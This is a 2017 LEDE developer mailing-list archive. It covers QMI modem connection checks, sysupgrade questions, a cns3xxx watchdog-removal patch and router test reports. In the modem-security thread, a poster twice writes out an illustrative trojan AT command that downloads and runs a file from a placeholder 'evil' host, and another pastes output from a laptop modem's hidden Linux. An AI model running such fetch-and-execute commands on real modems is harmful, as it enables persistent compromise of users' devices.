Hi,

> I'm almost done with checking the connection state using a proto_run_command
> with a simple script running uqmi --get-data-status periodically. If the
> check fails, the script dies and netifd should restart the connection. Then
> we hopefully don't need autoconnect anymore.

I'm not using the autoconnect feature anymore, I'm using simple custom
script[1]. I wouldn't recommend using Qualcomm's implementation of QMI as the
source of truth about the connection status, I think it's more reliable to use
ping, wget/curl or some other more appropriate and battle tested solution.

Simply said, uqmi can lie to you about the connection status. It's just some
qmuxd[2] after all using dozen threads answering you :-) What can probably go
wrong, right?

> > And I've seen "33C3: Dissecting modern (3G/4G) cellular modems", which makes
> > a lot of things crystal clear :-)
>
> That's an interesting talk, thanks for the note!

Indeed, it's very interesting and very scary. This modems are quite powerful
devices, usually equiped with very good, but limited uplink connection, still
making it ideal candidate for DDoS botnet for example, like any other router,
camera or IoT device. It's just a matter of time we see something like this in
the wild.  The probability is very high, 1.5M lines of just kernel code done
probably in a hurry, without proper review, this is very big attack surface.

It's better to not think about the system in the modem as a nice place for a
hideout for a very persistent backdoor to our systems, surviving even firmware
updates.  Just imagine some trojan inside the router running following on the
modem's AT command serial interface:

   AT+QLINUXCMD=wget http://something/evil && ./evil

Guys at Osmocom already started working on completely open and more secure
firmware using OpenEmbedded, but I would like to see it supported in LEDE
also, probably with more mainline kernel if possible. Still, it's quite
strange to see such a big embedded systems running in the 4G modem. It seems
like 2017 is era of SITSes, Systems In The Systems.

I use Quectel modems already, so I would love to work on this myself, but I've
few other projects with higher priorities going on now, so I'm rather thinking
about other way of supporting this very promising project.

So far the best idea lying in my head currently is buying few modems + mPCIe
breakout boards[3] and deliver those to interested developers. I'm just not
sure if this kind of support is going to lead somewhere.  Simply said, I'm
willing to spend some money in exchange of faster development of this project.

1. http://lists.infradead.org/pipermail/lede-dev/2016-October/003504.html
2. https://osmocom.org/projects/quectel-modems/wiki/Qmuxd
3. http://osmocom.org/projects/mpcie-breakout

-- ynezz


From jo at mein.io  Sun Jan  8 11:38:04 2017
From: jo at mein.io (Jo-Philipp Wich)
Date: Sun, 8 Jan 2017 20:38:04 +0100
Subject: [LEDE-DEV] how to make sysupgrade not drop user-installed
 packages
In-Reply-To: <20170107180428.GA29356@ugly>
References: <20170107180428.GA29356@ugly>
Message-ID: <5664577d-c503-9af3-db82-b8080ddf7f93@mein.io>

Hi Oswald,

> scripts for doing just that have been posted years ago, so i'm wondering
> why such a mechanism wasn't integrated upstream. am i missing something,
> or did just nobody think it important enough to do?

as far as I remember there never was a clean patch series proposed to
implement such a behavior, therefore it was never discussed in-depth and
implemented.

> of course, this immediately prompts the next question: why doesn't
> luci's flash operations page have an auto-download option for the
> sysupgrade image? 

Mainly due to the fact that it currently is impossible to
programmatically figure out the proper image to use for the currently
running device and that there was no fully defined release and
versioning cycle which makes checking for updates impossible.

> the locations of the package feeds are also inside the
> image, and automating the integrity check isn't rocket science, either.
> 
> of course, it sort of makes sense to have a copy of the last working
> sysupgrade image outside the router, and that's basically a side effect
> of the manual process (unless one is dumb enough to delete/overwrite the
> previous image). however, the option to download a sysupgrade image for
> the running system could be provided as another backup option -
> extracting/recreating it from the flash shouldn't be that hard, i guess?

Right now it cannot be provided unless we provide suitable meta data for
that on the server side or - preferably - inside the image itself.

Right now that info is missing so it is impossible to implement that
solution.


~ Jo

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 819 bytes
Desc: OpenPGP digital signature
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170108/29f850b9/attachment.sig>

From jo at mein.io  Sun Jan  8 11:42:25 2017
From: jo at mein.io (Jo-Philipp Wich)
Date: Sun, 8 Jan 2017 20:42:25 +0100
Subject: [LEDE-DEV] externalizing package management?
In-Reply-To: <20170108125309.GB8750@ugly>
References: <20170108125309.GB8750@ugly>
Message-ID: <6fa211f5-f4d6-3aa5-f392-6e2a48e7f458@mein.io>

Hi Oswald,

the imagebuilder should support all that already and it likely fills the
"powerful desktop tools" part your concept requires.

Given the recent advances with Linux support on Windows 10 plus Docker
etc. it shouldn't be too hard to bundle an ImageBuilder with some
Desktop ui and an RPC client to remote-control the router via SSH or
HTTPS-UBUS-RPC.

Do you plan to work on something like that?

~ Jo

-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 819 bytes
Desc: OpenPGP digital signature
URL: <http://lists.infradead.org/pipermail/lede-dev/attachments/20170108/7cb96d62/attachment.sig>

From koen.vandeputte at ncentric.com  Sun Jan  8 11:50:58 2017
From: koen.vandeputte at ncentric.com (Koen Vandeputte)
Date: Sun,  8 Jan 2017 20:50:58 +0100
Subject: [LEDE-DEV] [PATCH] cns3xxx - Remove deprecated mpcore watchdog
 device
Message-ID: <1483905058-3382-1-git-send-email-koen.vandeputte@ncentric.com>

This code was exclusively used by the mpcore_wdt
driver which got removed from the kernel mid 2013.

https://www.spinics.net/lists/linux-watchdog/msg02724.html

Tested on Laguna GW2388

Signed-off-by: Koen Vandeputte <koen.vandeputte at ncentric.com>
---
 .../cns3xxx/base-files/lib/upgrade/platform.sh     |  2 +-
 .../cns3xxx/files/arch/arm/mach-cns3xxx/laguna.c   | 21 --------
 .../cns3xxx/patches-4.4/020-watchdog_support.patch | 59 ----------------------
 .../cns3xxx/patches-4.4/095-gpio_support.patch     |  2 +-
 .../patches-4.4/097-l2x0_cmdline_disable.patch     |  2 +-
 5 files changed, 3 insertions(+), 83 deletions(-)
 delete mode 100644 target/linux/cns3xxx/patches-4.4/020-watchdog_support.patch

diff --git a/target/linux/cns3xxx/base-files/lib/upgrade/platform.sh b/target/linux/cns3xxx/base-files/lib/upgrade/platform.sh
index 4efa47d..0becdd2 100644
--- a/target/linux/cns3xxx/base-files/lib/upgrade/platform.sh
+++ b/target/linux/cns3xxx/base-files/lib/upgrade/platform.sh
@@ -27,5 +27,5 @@ disable_watchdog() {
 	}
 }
 
-# CONFIG_WATCHDOG_NOWAYOUT=y - can't kill watchdog unless kernel cmdline has a mpcore_wdt.nowayout=0
+# CONFIG_WATCHDOG_NOWAYOUT=y - can't kill watchdog
 #append sysupgrade_pre_upgrade disable_watchdog
diff --git a/target/linux/cns3xxx/files/arch/arm/mach-cns3xxx/laguna.c b/target/linux/cns3xxx/files/arch/arm/mach-cns3xxx/laguna.c
index 4a59612..58a0a70 100644
--- a/target/linux/cns3xxx/files/arch/arm/mach-cns3xxx/laguna.c
+++ b/target/linux/cns3xxx/files/arch/arm/mach-cns3xxx/laguna.c
@@ -628,25 +628,6 @@ static struct i2c_board_info __initdata laguna_i2c_devices[] = {
 };
 
 /*
- * Watchdog
- */
-
-static struct resource laguna_watchdog_resources[] = {
-	[0] = {
-		.start	= CNS3XXX_TC11MP_TWD_BASE + 0x100, // CPU0 watchdog
-		.end	= CNS3XXX_TC11MP_TWD_BASE + SZ_4K - 1,
-		.flags	= IORESOURCE_MEM,
-	},
-};
-
-static struct platform_device laguna_watchdog = {
-	.name		= "mpcore_wdt",
-	.id		= -1,
-	.num_resources	= ARRAY_SIZE(laguna_watchdog_resources),
-	.resource	= laguna_watchdog_resources,
-};
-
-/*
  * GPS PPS
  */
 static struct pps_gpio_platform_data laguna_pps_data = {
@@ -816,8 +797,6 @@ static void __init laguna_init(void)
 				      cns3xxx_cpu_clock() * (1000000 / 8));
 	clk_register_clkdev(clk, "cpu", NULL);
 
-	platform_device_register(&laguna_watchdog);
-
 	platform_device_register(&laguna_i2c_controller);
 
 	/* Set I2C 0-3 drive strength to 21 mA */
diff --git a/target/linux/cns3xxx/patches-4.4/020-watchdog_support.patch b/target/linux/cns3xxx/patches-4.4/020-watchdog_support.patch
deleted file mode 100644
index 74ffcc3..0000000
--- a/target/linux/cns3xxx/patches-4.4/020-watchdog_support.patch
+++ /dev/null
@@ -1,59 +0,0 @@
-1. Made the connection between CNS3xxx SOCs(ARCH_CNS3xxx) and MPcore watchdog
-   since the CNS3xxx SOCs have ARM11 MPcore CPU.
-2. Enable mpcore_watchdog option as module to default configuration at
-   arch/arm/configs/cns3420vb_defconfig.
-
-Signed-off-by: Tommy Lin <tommy.lin at caviumnetworks.com>
-
----
-arch/arm/Kconfig                     |    1 +
- arch/arm/configs/cns3420vb_defconfig |    2 ++
- arch/arm/mach-cns3xxx/cns3420vb.c    |   22 ++++++++++++++++++++++
- 3 files changed, 25 insertions(+), 0 deletions(-)
-
---- a/arch/arm/configs/cns3420vb_defconfig
-+++ b/arch/arm/configs/cns3420vb_defconfig
-@@ -56,6 +56,8 @@ CONFIG_LEGACY_PTY_COUNT=16
- # CONFIG_HW_RANDOM is not set
- # CONFIG_HWMON is not set
- # CONFIG_VGA_CONSOLE is not set
-+CONFIG_WATCHDOG=y
-+CONFIG_MPCORE_WATCHDOG=m
- # CONFIG_HID_SUPPORT is not set
- # CONFIG_USB_SUPPORT is not set
- CONFIG_MMC=y
---- a/arch/arm/mach-cns3xxx/cns3420vb.c
-+++ b/arch/arm/mach-cns3xxx/cns3420vb.c
-@@ -206,10 +206,32 @@ static struct platform_device cns3xxx_us
- 	},
- };
- 
-+/* Watchdog */
-+static struct resource cns3xxx_watchdog_resources[] = {
-+	[0] = {
-+		.start = CNS3XXX_TC11MP_TWD_BASE,
-+		.end   = CNS3XXX_TC11MP_TWD_BASE + PAGE_SIZE - 1,
-+		.flags = IORESOURCE_MEM,
-+	},
-+	[1] = {
-+		.start = IRQ_LOCALWDOG,
-+		.end   = IRQ_LOCALWDOG,
-+		.flags = IORESOURCE_IRQ,
-+	}
-+};
-+
-+static struct platform_device cns3xxx_watchdog_device = {
-+	.name		= "mpcore_wdt",
-+	.id		= -1,
-+	.num_resources	= ARRAY_SIZE(cns3xxx_watchdog_resources),
-+	.resource	= cns3xxx_watchdog_resources,
-+};
-+
- /*
-  * Initialization
-  */
- static struct platform_device *cns3420_pdevs[] __initdata = {
-+	&cns3xxx_watchdog_device,
- 	&cns3420_nor_pdev,
- 	&cns3xxx_usb_ehci_device,
- 	&cns3xxx_usb_ohci_device,
diff --git a/target/linux/cns3xxx/patches-4.4/095-gpio_support.patch b/target/linux/cns3xxx/patches-4.4/095-gpio_support.patch
index 79a937a..cece982 100644
--- a/target/linux/cns3xxx/patches-4.4/095-gpio_support.patch
+++ b/target/linux/cns3xxx/patches-4.4/095-gpio_support.patch
@@ -1,6 +1,6 @@
 --- a/arch/arm/mach-cns3xxx/cns3420vb.c
 +++ b/arch/arm/mach-cns3xxx/cns3420vb.c
-@@ -245,6 +245,10 @@ static void __init cns3420_init(void)
+@@ -223,6 +223,10 @@ static void __init cns3420_init(void)
  
  	cns3xxx_ahci_init();
  	cns3xxx_sdhci_init();
diff --git a/target/linux/cns3xxx/patches-4.4/097-l2x0_cmdline_disable.patch b/target/linux/cns3xxx/patches-4.4/097-l2x0_cmdline_disable.patch
index 25d3005..b4720b1 100644
--- a/target/linux/cns3xxx/patches-4.4/097-l2x0_cmdline_disable.patch
+++ b/target/linux/cns3xxx/patches-4.4/097-l2x0_cmdline_disable.patch
@@ -43,7 +43,7 @@
  
 --- a/arch/arm/mach-cns3xxx/cns3420vb.c
 +++ b/arch/arm/mach-cns3xxx/cns3420vb.c
-@@ -239,8 +239,6 @@ static struct platform_device *cns3420_p
+@@ -217,8 +217,6 @@ static struct platform_device *cns3420_p
  
  static void __init cns3420_init(void)
  {
-- 
2.7.4



From koen.vandeputte at ncentric.com  Sun Jan  8 12:14:25 2017
From: koen.vandeputte at ncentric.com (Koen Vandeputte)
Date: Sun,  8 Jan 2017 21:14:25 +0100
Subject: [LEDE-DEV] [PATCH v2] cns3xxx: remove deprecated mpcore watchdog
 device
Message-ID: <1483906465-4178-1-git-send-email-koen.vandeputte@ncentric.com>

This code was exclusively used by the mpcore_wdt
driver which got removed from the kernel mid 2013.

https://www.spinics.net/lists/linux-watchdog/msg02724.html

Tested on Laguna GW2388

Signed-off-by: Koen Vandeputte <koen.vandeputte at ncentric.com>
---
 .../cns3xxx/base-files/lib/upgrade/platform.sh     |  2 +-
 .../cns3xxx/files/arch/arm/mach-cns3xxx/laguna.c   | 21 --------
 .../cns3xxx/patches-4.4/020-watchdog_support.patch | 59 ----------------------
 .../cns3xxx/patches-4.4/095-gpio_support.patch     |  2 +-
 .../patches-4.4/097-l2x0_cmdline_disable.patch     |  2 +-
 5 files changed, 3 insertions(+), 83 deletions(-)
 delete mode 100644 target/linux/cns3xxx/patches-4.4/020-watchdog_support.patch

diff --git a/target/linux/cns3xxx/base-files/lib/upgrade/platform.sh b/target/linux/cns3xxx/base-files/lib/upgrade/platform.sh
index 4efa47d..0becdd2 100644
--- a/target/linux/cns3xxx/base-files/lib/upgrade/platform.sh
+++ b/target/linux/cns3xxx/base-files/lib/upgrade/platform.sh
@@ -27,5 +27,5 @@ disable_watchdog() {
 	}
 }
 
-# CONFIG_WATCHDOG_NOWAYOUT=y - can't kill watchdog unless kernel cmdline has a mpcore_wdt.nowayout=0
+# CONFIG_WATCHDOG_NOWAYOUT=y - can't kill watchdog
 #append sysupgrade_pre_upgrade disable_watchdog
diff --git a/target/linux/cns3xxx/files/arch/arm/mach-cns3xxx/laguna.c b/target/linux/cns3xxx/files/arch/arm/mach-cns3xxx/laguna.c
index 4a59612..58a0a70 100644
--- a/target/linux/cns3xxx/files/arch/arm/mach-cns3xxx/laguna.c
+++ b/target/linux/cns3xxx/files/arch/arm/mach-cns3xxx/laguna.c
@@ -628,25 +628,6 @@ static struct i2c_board_info __initdata laguna_i2c_devices[] = {
 };
 
 /*
- * Watchdog
- */
-
-static struct resource laguna_watchdog_resources[] = {
-	[0] = {
-		.start	= CNS3XXX_TC11MP_TWD_BASE + 0x100, // CPU0 watchdog
-		.end	= CNS3XXX_TC11MP_TWD_BASE + SZ_4K - 1,
-		.flags	= IORESOURCE_MEM,
-	},
-};
-
-static struct platform_device laguna_watchdog = {
-	.name		= "mpcore_wdt",
-	.id		= -1,
-	.num_resources	= ARRAY_SIZE(laguna_watchdog_resources),
-	.resource	= laguna_watchdog_resources,
-};
-
-/*
  * GPS PPS
  */
 static struct pps_gpio_platform_data laguna_pps_data = {
@@ -816,8 +797,6 @@ static void __init laguna_init(void)
 				      cns3xxx_cpu_clock() * (1000000 / 8));
 	clk_register_clkdev(clk, "cpu", NULL);
 
-	platform_device_register(&laguna_watchdog);
-
 	platform_device_register(&laguna_i2c_controller);
 
 	/* Set I2C 0-3 drive strength to 21 mA */
diff --git a/target/linux/cns3xxx/patches-4.4/020-watchdog_support.patch b/target/linux/cns3xxx/patches-4.4/020-watchdog_support.patch
deleted file mode 100644
index 74ffcc3..0000000
--- a/target/linux/cns3xxx/patches-4.4/020-watchdog_support.patch
+++ /dev/null
@@ -1,59 +0,0 @@
-1. Made the connection between CNS3xxx SOCs(ARCH_CNS3xxx) and MPcore watchdog
-   since the CNS3xxx SOCs have ARM11 MPcore CPU.
-2. Enable mpcore_watchdog option as module to default configuration at
-   arch/arm/configs/cns3420vb_defconfig.
-
-Signed-off-by: Tommy Lin <tommy.lin at caviumnetworks.com>
-
----
-arch/arm/Kconfig                     |    1 +
- arch/arm/configs/cns3420vb_defconfig |    2 ++
- arch/arm/mach-cns3xxx/cns3420vb.c    |   22 ++++++++++++++++++++++
- 3 files changed, 25 insertions(+), 0 deletions(-)
-
---- a/arch/arm/configs/cns3420vb_defconfig
-+++ b/arch/arm/configs/cns3420vb_defconfig
-@@ -56,6 +56,8 @@ CONFIG_LEGACY_PTY_COUNT=16
- # CONFIG_HW_RANDOM is not set
- # CONFIG_HWMON is not set
- # CONFIG_VGA_CONSOLE is not set
-+CONFIG_WATCHDOG=y
-+CONFIG_MPCORE_WATCHDOG=m
- # CONFIG_HID_SUPPORT is not set
- # CONFIG_USB_SUPPORT is not set
- CONFIG_MMC=y
---- a/arch/arm/mach-cns3xxx/cns3420vb.c
-+++ b/arch/arm/mach-cns3xxx/cns3420vb.c
-@@ -206,10 +206,32 @@ static struct platform_device cns3xxx_us
- 	},
- };
- 
-+/* Watchdog */
-+static struct resource cns3xxx_watchdog_resources[] = {
-+	[0] = {
-+		.start = CNS3XXX_TC11MP_TWD_BASE,
-+		.end   = CNS3XXX_TC11MP_TWD_BASE + PAGE_SIZE - 1,
-+		.flags = IORESOURCE_MEM,
-+	},
-+	[1] = {
-+		.start = IRQ_LOCALWDOG,
-+		.end   = IRQ_LOCALWDOG,
-+		.flags = IORESOURCE_IRQ,
-+	}
-+};
-+
-+static struct platform_device cns3xxx_watchdog_device = {
-+	.name		= "mpcore_wdt",
-+	.id		= -1,
-+	.num_resources	= ARRAY_SIZE(cns3xxx_watchdog_resources),
-+	.resource	= cns3xxx_watchdog_resources,
-+};
-+
- /*
-  * Initialization
-  */
- static struct platform_device *cns3420_pdevs[] __initdata = {
-+	&cns3xxx_watchdog_device,
- 	&cns3420_nor_pdev,
- 	&cns3xxx_usb_ehci_device,
- 	&cns3xxx_usb_ohci_device,
diff --git a/target/linux/cns3xxx/patches-4.4/095-gpio_support.patch b/target/linux/cns3xxx/patches-4.4/095-gpio_support.patch
index 79a937a..cece982 100644
--- a/target/linux/cns3xxx/patches-4.4/095-gpio_support.patch
+++ b/target/linux/cns3xxx/patches-4.4/095-gpio_support.patch
@@ -1,6 +1,6 @@
 --- a/arch/arm/mach-cns3xxx/cns3420vb.c
 +++ b/arch/arm/mach-cns3xxx/cns3420vb.c
-@@ -245,6 +245,10 @@ static void __init cns3420_init(void)
+@@ -223,6 +223,10 @@ static void __init cns3420_init(void)
  
  	cns3xxx_ahci_init();
  	cns3xxx_sdhci_init();
diff --git a/target/linux/cns3xxx/patches-4.4/097-l2x0_cmdline_disable.patch b/target/linux/cns3xxx/patches-4.4/097-l2x0_cmdline_disable.patch
index 25d3005..b4720b1 100644
--- a/target/linux/cns3xxx/patches-4.4/097-l2x0_cmdline_disable.patch
+++ b/target/linux/cns3xxx/patches-4.4/097-l2x0_cmdline_disable.patch
@@ -43,7 +43,7 @@
  
 --- a/arch/arm/mach-cns3xxx/cns3420vb.c
 +++ b/arch/arm/mach-cns3xxx/cns3420vb.c
-@@ -239,8 +239,6 @@ static struct platform_device *cns3420_p
+@@ -217,8 +217,6 @@ static struct platform_device *cns3420_p
  
  static void __init cns3420_init(void)
  {
-- 
2.7.4



From nbd at nbd.name  Sun Jan  8 12:27:50 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Sun, 8 Jan 2017 21:27:50 +0100
Subject: [LEDE-DEV] [PATCH v2] cns3xxx: remove deprecated mpcore
 watchdog device
In-Reply-To: <1483906465-4178-1-git-send-email-koen.vandeputte@ncentric.com>
References: <1483906465-4178-1-git-send-email-koen.vandeputte@ncentric.com>
Message-ID: <455f260e-50b2-1504-f123-360b5f697aa2@nbd.name>

On 2017-01-08 21:14, Koen Vandeputte wrote:
> This code was exclusively used by the mpcore_wdt
> driver which got removed from the kernel mid 2013.
> 
> https://www.spinics.net/lists/linux-watchdog/msg02724.html
> 
> Tested on Laguna GW2388
> 
> Signed-off-by: Koen Vandeputte <koen.vandeputte at ncentric.com>
Interesting. I hadn't noticed that the driver got removed. Instead of
removing this, I'd prefer to restore the watchdog driver instead.
It seems that the IRQ that they were talking about is completely
irrelevant and used for testing mode only, so theoretically it should be
easy to make this driver work again.

- Felix


From stijn at linux-ipv6.be  Sun Jan  8 12:36:16 2017
From: stijn at linux-ipv6.be (Stijn Tintel)
Date: Sun, 8 Jan 2017 21:36:16 +0100
Subject: [LEDE-DEV] MikroTik RouterBoard ar71xx changes
In-Reply-To: <37de4b7b-63db-1f38-842f-57543e5eb5cd@nbd.name>
References: <37de4b7b-63db-1f38-842f-57543e5eb5cd@nbd.name>
Message-ID: <ca1d5619-3a18-5651-3046-0cc5efd2a974@linux-ipv6.be>

On 08-01-17 14:54, Felix Fietkau wrote:
> Hi all,
>
> I've just pushed the code for converting ar71xx routerboard support to
> UBI + sysupgrade to my staging tree at:
> https://git.lede-project.org/?p=lede/nbd/staging.git;a=summary
>
> So far I've only managed to test it on RB 912UAG-5HPnD, other devices
> are still untested. If you have any affected hardware, please test the
> new code with a fresh build from that tree (make sure you reset your
> config) and let me know if it works.
>
> Installation is now done only over sysupgrade (from the initramfs
> image), the old wget2nand script and rootfs tarballs are gone.
>
Tested sysupgrade on RB2011L-IN while booted from the initramfs image,
and then again after booting from flash.
Thanks!

Tested-by: Stijn Tintel <stijn at linux-ipv6.be>


From bjorn at mork.no  Sun Jan  8 14:10:20 2017
From: bjorn at mork.no (=?utf-8?Q?Bj=C3=B8rn_Mork?=)
Date: Sun, 08 Jan 2017 23:10:20 +0100
Subject: [LEDE-DEV] Open and secure firmware for Quectel 4G modems [Was:
 Re: Quectel EC20 QMI autoconnect issues [Was: Re: [LEDE-DEV, 3/3,
 v3] uqmi: Prevent 'POLICY MISMATCH' error.]]
In-Reply-To: <20170108192623.GD5048@ibawizard.net> ("Petr =?utf-8?Q?=C5=A0?=
 =?utf-8?Q?tetiar=22's?= message
 of "Sun, 8 Jan 2017 20:26:23 +0100")
References: <20161208140412.GC17320@ibawizard.net>
 <877f7asbft.fsf@miraculix.mork.no>
 <55ad4118-bfc9-8101-f239-bdb1c15c58b7@elisanet.fi>
 <20161209092741.GA17038@ibawizard.net>
 <c5b5265a-d683-53d6-9472-4f7df1e335ab@elisanet.fi>
 <20161212065227.GG17320@ibawizard.net>
 <590700de-9e90-2548-3ef4-a9e8a4bd1da7@elisanet.fi>
 <20161212090659.GJ17320@ibawizard.net>
 <20170107234422.GB5048@ibawizard.net>
 <AM5PR0202MB2532C30B09B4726113A3E1038C650@AM5PR0202MB2532.eurprd02.prod.outlook.com>
 <20170108192623.GD5048@ibawizard.net>
Message-ID: <87zij1jj8z.fsf@miraculix.mork.no>

Petr ?tetiar <ynezz at true.cz> writes:

> Adding laforge and zecke to the Cc loop.
>
> Matti Laakso <malaakso at elisanet.fi> [2017-01-08 14:39:34]:
>
> Hi,
>
>> I'm almost done with checking the connection state using a proto_run_command
>> with a simple script running uqmi --get-data-status periodically. If the
>> check fails, the script dies and netifd should restart the connection. Then
>> we hopefully don't need autoconnect anymore.
>
> I'm not using the autoconnect feature anymore, I'm using simple custom
> script[1]. I wouldn't recommend using Qualcomm's implementation of QMI as the
> source of truth about the connection status, I think it's more reliable to use
> ping, wget/curl or some other more appropriate and battle tested solution.
>
> Simply said, uqmi can lie to you about the connection status. It's just some
> qmuxd[2] after all using dozen threads answering you :-) What can probably go
> wrong, right?
>
>> > And I've seen "33C3: Dissecting modern (3G/4G) cellular modems", which makes
>> > a lot of things crystal clear :-)
>>
>> That's an interesting talk, thanks for the note!
>
> Indeed, it's very interesting and very scary. This modems are quite powerful
> devices, usually equiped with very good, but limited uplink connection, still
> making it ideal candidate for DDoS botnet for example, like any other router,
> camera or IoT device. It's just a matter of time we see something like this in
> the wild.  The probability is very high, 1.5M lines of just kernel code done
> probably in a hurry, without proper review, this is very big attack surface.

Yes, LTE modems are scary.  I think a DDoS botnet would be a waste of
resources here...

You have a full Linux system with plenty of ram and flash hidden inside
a number of modern laptops, with high speed network access completely
independent of the host.  This system is regularily flashed behind the
scene by the Windows host drivers. Changing the running image without
the user noticing is a piece of cake. If you have to... The Linux distro
is surprisingly complete, including things like perl and gdb(!), so you
might really have all you need there already. No gcc, though ;)

/ # perl -V
Warning: failed to load Config_git.pl, something strange about this perl...
Summary of my perl5 (revision 5 version 14 subversion 2) configuration:
  undef undef
  Platform:
    osname=linux, osvers=2.6.37-rc5-yocto-standard+, archname=arm-linux-gnueabi
    uname='linux qemux86 2.6.37-rc5-yocto-standard+ #1 preempt mon dec 20 14:21:27 pst 2010 i686 gnulinux '
    config_args='-des -Doptimize=-O2 -Dmyhostname=localhost -Dperladmin=root at localhost -Dcc=gcc -Dcf_by=Open Embedded -Dinstallprefix=/usr -Dprefix=/usr -Dvendorprefix=/usr -Dsiteprefix=/usr -Dotherlibdirs=/usr/lib/perl/5.14.2 -Duseshrplib -Dusethreads -Duseithreads -Duselargefiles -Ud_dosuid -Dd_semctl_semun -Ui_db -Ui_ndbm -Ui_gdbm -Di_shadow -Di_syslog -Dman3ext=3pm -Duseperlio -Dinstallusrbinperl -Ubincompat5005 -Uversiononly -Dpager=/usr/bin/less -isr'
    hint=recommended, useposix=true, d_sigaction=define
    useithreads=define, usemultiplicity=define
    useperlio=define, d_sfio=undef, uselargefiles=define, usesocks=undef
    use64bitint=undef, use64bitall=undef, uselongdouble=undef
    usemymalloc=n, bincompat5005=undef
  Compiler:
    cc='arm-oe-linux-gnueabi-gcc  -march=armv7-a -fno-tree-vectorize      -mthumb-interwork -mfloat-abi=softfp -mfpu=neon -mtune=cortex-a8 -mno-thumb-interwork -mno-thumb --sysroot=/home/gsmbuild/tags/buildscripts/SWI9X30C_02.23.00.00/mdm9x30r30_core/apps_proc/oe-core/build/tmp-eglibc/sysroots/mdm9635-perf', ccflags ='-DSIERRA -DSWI_APPS_PROC -DSWI_IMAGE_APPS -O2 -fexpensive-optimizations -frename-registers -fomit-frame-pointer -DDEBIAN -D_REENTRANT -D_GNU_SOURCE -fno-strict-aliasing -pipe -fstack-protector -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64',
    optimize='-O2',
    cppflags='-fno-strict-aliasing'
    ccversion='', gccversion='4.5.1', gccosandvers=''
    intsize=4, longsize=4, ptrsize=4, doublesize=8, byteorder=1234
    d_longlong=define, longlongsize=8, d_longdbl=define, longdblsize=12
    ivtype='long', ivsize=4, nvtype='double', nvsize=8, Off_t='off_t', lseeksize=8
    alignbytes=4, prototype=define
  Linker and Libraries:
    ld='arm-oe-linux-gnueabi-gcc  -march=armv7-a -fno-tree-vectorize      -mthumb-interwork -mfloat-abi=softfp -mfpu=neon -mtune=cortex-a8 -mno-thumb-interwork -mno-thumb --sysroot=/home/gsmbuild/tags/buildscripts/SWI9X30C_02.23.00.00/mdm9x30r30_core/apps_proc/oe-core/build/tmp-eglibc/sysroots/mdm9635-perf', ldflags ='-Wl,-O1 -Wl,--hash-style=gnu -Wl,--as-needed'
    libpth=/lib /usr/lib
    libs=-lnsl -lgdbm -ldb -ldl -lm -lcrypt -lutil -lpthread -lc
    perllibs=-lnsl -ldl -lm -lcrypt -lutil -lpthread -lc
    libc=/lib/libc-2.12.1.so, so=so, useshrplib=true, libperl=libperl.so
    gnulibc_version='2.12.1'
  Dynamic Linking:
    dlsrc=dl_dlopen.xs, dlext=so, d_dlsymun=undef, ccdlflags='-Wl,-E -Wl,-rpath,/usr/lib/perl/5.14.2//CORE'
    cccdlflags='-fPIC', lddlflags='-shared -O2 -fstack-protector'


Characteristics of this binary (from libperl): 
  Compile-time options: MULTIPLICITY PERL_DONT_CREATE_GVSV
                        PERL_IMPLICIT_CONTEXT PERL_MALLOC_WRAP
                        PERL_PRESERVE_IVUV USE_ITHREADS USE_LARGE_FILES
                        USE_PERLIO USE_PERL_ATOF USE_REENTRANT_API
  Built under linux
  Compiled at Oct 22 2016 10:32:41
  @INC:
    /etc/perl
    /usr/lib/perl/site_perl/5.14.2/
    /usr/lib/perl/site_perl/5.14.2
    /usr/lib/perl/vendor_perl/5.14.2/
    /usr/lib/perl/vendor_perl/5.14.2
    /usr/lib/perl/5.14.2/
    /usr/lib/perl/5.14.2
    /usr/local/lib/site_perl
    /usr/lib/perl/5.14.2
    .
/ # gdb --version
GNU gdb (GDB) 7.3.1
Copyright (C) 2011 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "arm-oe-linux-gnueabi".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
/ # uname -a
Linux mdm9635-perf 3.10.0+ #1 PREEMPT Sat Oct 22 10:18:05 PDT 2016 armv7l GNU/Linux


Interesting to see that the perl installation was built on a 32bit x86
system with a 2.6.37-rc5 kernel.  That's a weird choice :)

Note that there is nothing Quectel here.  This is a standard Qualcomm
platform.  The output above comes from the Sierra Wireless EM7455
originally delivered as part of my Lenovo X1 Carbon, running bog
standard firmare.

> It's better to not think about the system in the modem as a nice place for a
> hideout for a very persistent backdoor to our systems, surviving even firmware
> updates.  Just imagine some trojan inside the router running following on the
> modem's AT command serial interface:
>
>    AT+QLINUXCMD=wget http://something/evil && ./evil
>
> Guys at Osmocom already started working on completely open and more secure
> firmware using OpenEmbedded, but I would like to see it supported in LEDE
> also, probably with more mainline kernel if possible. Still, it's quite
> strange to see such a big embedded systems running in the 4G modem. It seems
> like 2017 is era of SITSes, Systems In The Systems.

It's been like that for a while...

> I use Quectel modems already, so I would love to work on this myself, but I've
> few other projects with higher priorities going on now, so I'm rather thinking
> about other way of supporting this very promising project.
>
> So far the best idea lying in my head currently is buying few modems + mPCIe
> breakout boards[3] and deliver those to interested developers. I'm just not
> sure if this kind of support is going to lead somewhere.  Simply said, I'm
> willing to spend some money in exchange of faster development of this project.
>
> 1. http://lists.infradead.org/pipermail/lede-dev/2016-October/003504.html
> 2. https://osmocom.org/projects/quectel-modems/wiki/Qmuxd
> 3. http://osmocom.org/projects/mpcie-breakout

Trying not to kill the optimism here, but...  But this is a project with
about the same complexity as replacing Android on a phone.  And IMHO
it's rather pointless unless you do something about the "baseband"
image. Which is probably not feasible due to the complete lack of any
source code or documentation from Qualcomm.

Just my .02 ?


Bj?rn


From gui at altermundi.net  Sun Jan  8 15:54:02 2017
From: gui at altermundi.net (Gui Iribarren)
Date: Mon, 9 Jan 2017 00:54:02 +0100
Subject: [LEDE-DEV] [PATCH] ar71xx: add initial support for RB953GS-5HnT-RP
Message-ID: <b5c740d1-a434-8317-45de-58b006725d17@altermundi.net>

Add board support, no userspace files yet.

Tested over TFTP, switch is working
